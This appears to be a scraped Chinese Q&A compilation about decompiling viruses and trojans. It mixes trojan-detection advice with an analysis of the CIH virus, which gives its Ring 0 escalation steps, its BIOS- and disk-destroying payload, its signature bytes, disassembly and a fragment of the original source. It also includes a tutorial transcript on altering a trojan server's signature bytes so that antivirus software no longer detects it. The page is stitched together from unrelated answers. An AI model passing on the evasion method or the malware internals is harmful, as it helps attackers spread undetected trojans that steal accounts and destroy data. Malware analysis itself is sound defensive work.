① 那些高手們是如何看到病毒的源文件的
看是啥情況,專業公司的通過別人的舉報和設置蜜罐機來捕獲病毒文件
分析文件,vbs這類的直接就可以看代碼了
exe這類二進制的通常用ida
pro這里靜態反編譯的工具看匯編代碼和資源
② 怎麼樣反編譯病毒代碼
反編譯,反編譯還不就是用apktool反編譯啊
③ 可以反編譯木馬apk嗎
您好
如果木馬APK源代碼沒有加密
是可以通過反編譯軟體進行反編譯的
如果您反編譯的目的是為了修改木馬繼續傳播,請不要傳播病毒、盜號木馬程序,惡意傳播病毒和木馬會污染互聯網環境,請您加入到維護網路安全的大軍中!
QQ木馬程序會導致您和他人的帳號和密碼泄露,從而可能使您和他人的QQ財產,如游戲、QB等受到嚴重威脅,嚴重的還會違反法律。
請您不要輕易安裝陌生人傳送給您的未知文件,有可能是病毒或者木馬。
建議您安裝騰訊電腦管家對您的電腦進行實時防護,保護您的電腦安全運行,避免給您的財產和個人隱私帶來威脅。
騰訊電腦管家企業平台:http://..com/c/guanjia/
④ 不是說程序都是反編譯的嗎那病毒等程序的源代碼別人是如何知道的
反編譯只是讓其他人不容易獲得源代碼而已,理論上只要能執行的程序都可以通過機器碼變為匯編代碼,大家可以研究其代碼。
由於病毒程序一般較小,代碼被反編譯後更容易閱讀。
如果把windowsXP反編譯,閱讀的工作量將是一個天文數字!
⑤ 為什大多數免殺,都將病毒文件反編譯成匯編代碼而不是高級語言代碼 是不是為了統一。。
wxw072理解的沒錯~
已經編譯好的可執行程序都是以二進制碼組成的
匯編這種低級語言和二進制碼是一一對應的關系
所以反編譯的時候,只要讀取硬碟或內存中的程序編碼
既可以很簡單的反編譯為匯編語言。
這樣方便實現而且錯誤率極低
而高級語言其實是一種給人看的語言,而不是給機器看的~~
機器只能看懂機器碼,匯編其實只不過是機器碼的另一種形勢,但高級語言則完全是另一種東西。
把可執行文件直接反編譯為高級語言的軟體並不多,而且反編譯出來的高級語言往往也只能做個參考,不能完全依賴
(java貌似可以,但這是因為java程序是在JVM上運行的,不依賴操作系統,也不直接操作機器。所以用java編寫並生成的程序本身也不是機器碼的。而只是一種中間代碼,這樣就很容易反編譯回java語言狀態)
何況病毒一類的東西的程序大多是加殼加花的~
這樣幾乎就沒啥可能直接反編譯成高級語言了~
只能在匯編語言下進行調試和修改
因為加殼加花是為了迷惑人的,而不是為了迷惑機器的(廢話,如果連機器都迷惑了,那這個程序就執行不了了……)
所以反匯編就是從機器的角度去讀這個程序。以求最大的成功率
而反編譯為高級語言,屬於逆向工程的范疇,很深的一門學科
是需要通過反編譯的匯編代碼,人為的恢復成高級語言代碼,挺難的~~
⑥ 能否對病毒木馬進行反編譯
能
⑦ 如何反編譯木馬程序
木馬程序是一種程序,它能提供一些有用的,或是僅僅令人感興趣的功能。但是它還有用戶所不知道的其他功能,例如在你不了解的情況下拷貝文件或竊取你的密碼。
RFC1244(Request for Comments:1244)中是這樣描述木馬的:「木馬程序是一種程序,它能提供一些有用的,或是僅僅令人感興趣的功能。但是它還有用戶所不知道的其他功能,例如在你不了解的情況下拷貝文件或竊取你的密碼。」隨著互聯網的迅速發展,木馬的攻擊、危害性越來越大。木馬實質上是一個程序,必須運行後才能工作,所以會在進程表、注冊表中留下蛛絲馬跡,我們可以通過「查、堵、殺」將它「緝拿歸案」。
查
1.檢查系統進程
大部分木馬運行後會顯示在進程管理器中,所以對系統進程列表進行分析和過濾,可以發現可疑程序。特別是利用與正常進程的CPU資源佔用率和句柄數的比較,發現異常現象。
2.檢查注冊表、ini文件和服務
木馬為了能夠在開機後自動運行,往往在注冊表如下選項中添加註冊表項:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
木馬亦可在Win.ini和System.ini的「run=」、「load=」、「shell=」後面載入,如果在這些選項後面載入程序是你不認識的,就有可能是木馬。木馬最慣用的伎倆就是把「Explorer」變成自己的程序名,只需稍稍改「Explorer」的字母「l」改為數字「1」,或者把其中的「o」改為數字「0」,這些改變如果不仔細觀察是很難被發現。
在Windwos NT/2000中,木馬會將自己作為服務添加到系統中,甚至隨機替換系統沒有啟動的服務程序來實現自動載入,檢測時要對操作系統的常規服務有所了解。
3.檢查開放埠
遠程式控制制型木馬以及輸出Shell型的木馬,大都會在系統中監聽某個埠,接收從控制端發來的命令,並執行。通過檢查系統上開啟的一些「奇怪」的埠,從而發現木馬的蹤跡。在命令行中輸入Netstat na,可以清楚地看到系統打開的埠和連接。也可從www.foundstone.com下載Fport軟體,運行該軟體後,可以知道打開埠的進程名,進程號和程序的路徑,這樣為查找「木馬」提供了方便之門。
4.監視網路通訊
對於一些利用ICMP數據通訊的木馬,被控端沒有打開任何監聽埠,無需反向連接,不會建立連接,採用第三種方法檢查開放埠的方法就行不通。可以關閉所有網路行為的進程,然後打開Sniffer軟體進行監聽,如此時仍有大量的數據,則基本可以確定後台正運行著木馬。
堵
1.堵住控制通路
如果你的網路連接處於禁用狀態後或取消撥號連接,反復啟動、打開窗口等不正常現象消失,那麼可以判斷你的電腦中了木馬。通過禁用網路連接或拔掉網線,就可以完全避免遠端計算機通過網路對你的控制。當然,亦可以通過防火牆關閉或過濾UDP、TCP、ICMP埠。
2.殺掉可疑進程
如通過Pslist查看可疑進程,用Pskill殺掉可疑進程後,如果計算機正常,說明這個可疑進程通過網路被遠端控制,從而使計算機不正常。
殺
1.手工刪除
對於一些可疑文件,不能立即刪除,有可能由於誤刪系統文件而使計算機不能正常工作。首先備份可疑文件和注冊表,接著用Ultraedit32編輯器查看文件首部信息,通過可疑文件裡面的明文字元對木馬有一個大致了解。當然高手們還可以通過W32Dasm等專用反編譯軟體對可疑文件進行靜態分析,查看文件的導入函數列表和數據段部分,初步了解程序的主要功能。最後,刪除木馬文件及注冊表中的鍵值。
2.軟體殺毒
由於木馬編寫技術的不斷進步,很多木馬有了自我保護機制。普通用戶最好通過專業的殺毒軟體如瑞星、金山毒霸等軟體進行殺毒,對於殺毒軟體,一定要及時更新,並通過病毒公告及時了解新木馬的預防和查殺絕技,或者通過下載專用的殺毒軟體進行殺毒(如近期的沖擊波病毒各大公司都開發了查殺工具)。
⑧ 今天電腦中病毒了,提供病毒文件誰能反編譯一下
這表現和autorun病毒一個樣哈,起碼類似,形式。
⑨ 關於特徵碼識別計算機病毒方法
病毒的產生速度很快,依然有很多病毒沒有被識別.但是現在主要還是用特徵碼來識別病毒,一般的殺毒軟體都是用類似特徵碼來識別並查殺病毒。
第一節 特點
病毒繞過了微軟提供的應用程序界面,繞過了ActiveX、C++甚至C,使用匯編,
利用VxD(虛擬設備驅動程序)介面編程,直接殺入Windows內核。它沒有改變宿主文件
的大小,而是採用了一種新的文件感染機制即碎洞攻擊(fragmented cavity attack),
將病毒化整為零,拆分成若干塊,插入宿主文件中去;最引人注目的是它利用目前許多
BIOS晶元開放了可重寫的特性,向計算機主板的BIOS埠寫入亂碼,開創了病毒直接進
攻計算機主板晶元的先例。可以說CIH病毒提供了一種全新的病毒程序方式和病毒發展方向。
第二節 CIH病毒的初始化
1.用SIDT指令取得IDT base address(中斷描述符表基地址),然後把IDT的INT 3 的入口地址改為指向CIH自己的INT3程序入口部分;
2.執行INT 3指令,進入CIH自身的INT 3入口程序,這樣,CIH病毒就可以獲得Windows最高級別的許可權(Ring 0級),可在Windows的內核執行各種操作(如終止系統運行,直接對內存讀寫、截獲各種中斷、控制I/O埠等,這些操作在應用程序層Ring 3級是受到嚴格
限制的)。病毒在這段程序中首先檢查調試寄存器DR0的值是否為0,用以判斷先前是否有CIH病毒已經駐留。
3.如果DR0的值不為0,則表示CIH病毒程式已駐留,病毒程序恢復原先的INT 3入口,然後正常退出INT3,跳到過程9;
4.如果DR0值為0,則CIH病毒將嘗試進行駐留。首先將當前EBX寄存器的值賦給DR0寄存器,以生成駐留標記,然後調用INT 20中斷,使用VxD call Page Allocate系統調用,請求系統分配2個PAGE大小的Windows系統內存(system memory),Windows系統內存地址范圍為C0000000h~FFFFFFFFh,它是用來存放所有的虛擬驅動程序的內存區域,如果程序想長期駐留在內存中,則必須申請到此區段內的內存。
5.如果內存申請成功,則從被感染文件中將原先分成多塊的病毒代碼收集起來,並進行組合後放到申請到的內存空間中;
6.再次調用INT 3中斷進入CIH病毒體的INT 3入口程序,調用INT20來完成調用一個IFSMgr_InstallFileSystemApiHook的子程序,在Windows內核中文件系統處理函數中掛接鉤子,以截取文件調用的操作,這樣一旦系統出現要求開啟文件的調用,則CIH病毒的傳染部分程序就會在第一時間截獲此文件;
7.將同時獲取的Windows默認的IFSMgr_Ring0_FileIO(核心文件輸入/輸出)服務程序的入口地址保留在DR0寄存器中,以便於CIH病毒調用;
8.恢復原先的IDT中斷表中的INT 3入口,退出INT 3;
9.根據病毒程序內隱藏的原文件的正常入口地址,跳到原文件正常入口,執行正常
第三節 病毒發作條件判斷
在CIHv1.4中,病毒的發作日期是4月26日,病毒從COMS的70、71埠取出系統當前日期,對其進行判斷:
MOV AX,0708
OUT 70,AL
IN AL,71 取當前系統月份->AL
XCHG AL,AH
OUT 70,AL
IN AL,71 取當前系統日->AL
XOR AX,0426 是否為4月26日
JZ 病毒發作程序
之所以不採用這段代碼做特徵碼,是為防止正常程序使用,或者易於發作條件修改。
第四節 病毒的破壞
1.通過主板的BIOS埠地址0CFEH和0CFDH向BIOS引導塊(boot block)內各寫入一個位元組的亂碼,造成主機無法啟動。
隨著快閃記憶體(FlashMemory)價格的下跌,奔騰機器上BIOS普遍採用PROM(可編程只讀存儲器),它可以在12伏以下的電壓下利用軟體的方式,從BIOS埠中讀出和寫入數據,以便於進行程序的升級。CIH病毒正是利用快閃記憶體的這一特性,往BIOS里寫入亂碼,造成BIOS中的原內容被會徹底破壞,主機無法啟動。
所幸的是,CIH只能對少數類型的主板BIOS構成威脅。這是因為,BIOS的軟體更新是通過直接寫埠實現的,而不同主
板的BIOS埠地址各不相同。現在出現的CIH只有1K,程序量太小,還不可能存儲大量的主板和BIOS埠數據。它只對
埠地址為0CFEH和0CFD的BIOS(據有關資料為Intel 430TX chipset、部分Pentium chipsets)進行攻擊
2.覆蓋硬碟
通過調用Vxd call IOS_SendCommand直接對硬碟進行存取,將垃圾代碼以2048個扇區為單位,從硬碟主引導區開始依
次循環寫入硬碟,直到所有硬碟(含邏輯盤)的數據均被破壞為止。
特徵碼:
55 8D 44 24 F8 33 DB 64 87 03 E8 00 00 00 00 5B 8D
4B 42 51 50 50 0F 01 4C 24 FE 5B 83 C3 1C FA 8B 2B
66 8B 6B FC 8D 71 12 56 66 89 73 FC C1 EE 10 66 89
73 02 5E CC 56 8B F0 8B 48 FC F3 A4 83
偏移位置:0x240
特碼長度:0x40
反匯編代碼:
00400240 > 55 PUSH EBP
00400241 8D4424 F8 LEA EAX,DWORD PTR SS:[ESP-8]
00400245 33DB XOR EBX,EBX
00400247 64:8703 XCHG DWORD PTR FS:[EBX],EAX
0040024A E8 00000000 CALL Win95_ci.0040024F
0040024F 5B POP EBX
00400250 8D4B 42 LEA ECX,DWORD PTR DS:[EBX+42]
00400253 51 PUSH ECX
00400254 50 PUSH EAX
00400255 50 PUSH EAX
00400256 0F014C24 FE SIDT FWORD PTR SS:[ESP-2] ; 用SIDT指令取得IDT base address(中斷描述符表基地址),
; 然後把IDT的INT 3 的入口地址改為指向CIH自己的INT3程序入口部分;
0040025B 5B POP EBX
0040025C 83C3 1C ADD EBX,1C
0040025F FA CLI
00400260 8B2B MOV EBP,DWORD PTR DS:[EBX]
00400262 66:8B6B FC MOV BP,WORD PTR DS:[EBX-4]
00400266 8D71 12 LEA ESI,DWORD PTR DS:[ECX+12]
00400269 56 PUSH ESI
0040026A 66:8973 FC MOV WORD PTR DS:[EBX-4],SI
0040026E C1EE 10 SHR ESI,10
00400271 66:8973 02 MOV WORD PTR DS:[EBX+2],SI
00400275 5E POP ESI
00400276 CC INT3 ; 執行INT 3指令,進入CIH自身的INT 3入口程序,獲得許可權(Ring 0級),
00400277 56 PUSH ESI
00400278 8BF0 MOV ESI,EAX
0040027A 8B48 FC MOV ECX,DWORD PTR DS:[EAX-4]
0040027D F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0040027F 83E8 08 SUB EAX,8
與1.3版本匹配,源病毒初始代碼如下:
MyVirusStart:
push ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
; *************************************
; * Let's Modify *
; *************************************
pop esi
; *************************************
; * Generate Exception to Get Ring0 *
; *************************************
int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $
; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax
:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
; *************************************
; * Generate Exception Again *
; *************************************
; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
; *************************************
; * Return Original App to Execute *
; *************************************
文檔:
http://www.yuanmawang.com/Download.asp?ID=5543&sID=1
音頻:
http://download1.77169.com/donghua/other/12-11.zip
今天講一下怎麼改病毒的特徵碼,讓它不被殺毒軟體殺掉,就拿hgzvip1.2沒有配置的服務端為例子
現在能被金山認識出來!
一般從程序的入口開始找特徵碼
4bdf68是內存的虛擬地址
bd368就是文件的相對偏移地址
現在查不出了,就說明特徵碼就在剛在的那一片
剛才我們填充的是120,現在就取它的一半90
范圍更小了
再取90的一半
哈,范圍更小了
再取48的一半
運氣真好,就是這一段了,我們可以把范圍更精確一點
有毒,說明不是這一段,go on,go on,go on,
查不到了,就說明是從bd376這里左右開始的
反編譯原來的文件看一下,搞錯了,應該用原來的文件
我們就從這里改,先看懂這里程序的意思
xor eax,eax 是把eax清為0
那麼後面的兩句程序的意思也是把內存地址清0,就是這兩句。
我們把它的先後順序換一下就可以了,這兩句就ec和e8不同,我們換一下它們的先後順序。
對應的文件就是這里,查一下還會不會被金山認出,哈哈,它不認識了!
但是還會被kv認出,所以我們得繼續,把kv識別的特徵也得改了,
方法和這里是一樣的,我就不繼續了。
關鍵點在於找到特徵碼之後,不能亂改,一定要把程序的意思看懂了,不然程序可能出錯的。
⑩ ~~~~(>_<)~~~~ 可不可以也發我一份兒萬分感謝啊!找了好多反編譯,都是病毒。好郁悶!
這個東西在網上搜尋不到嗎??我以前的找不到了。。。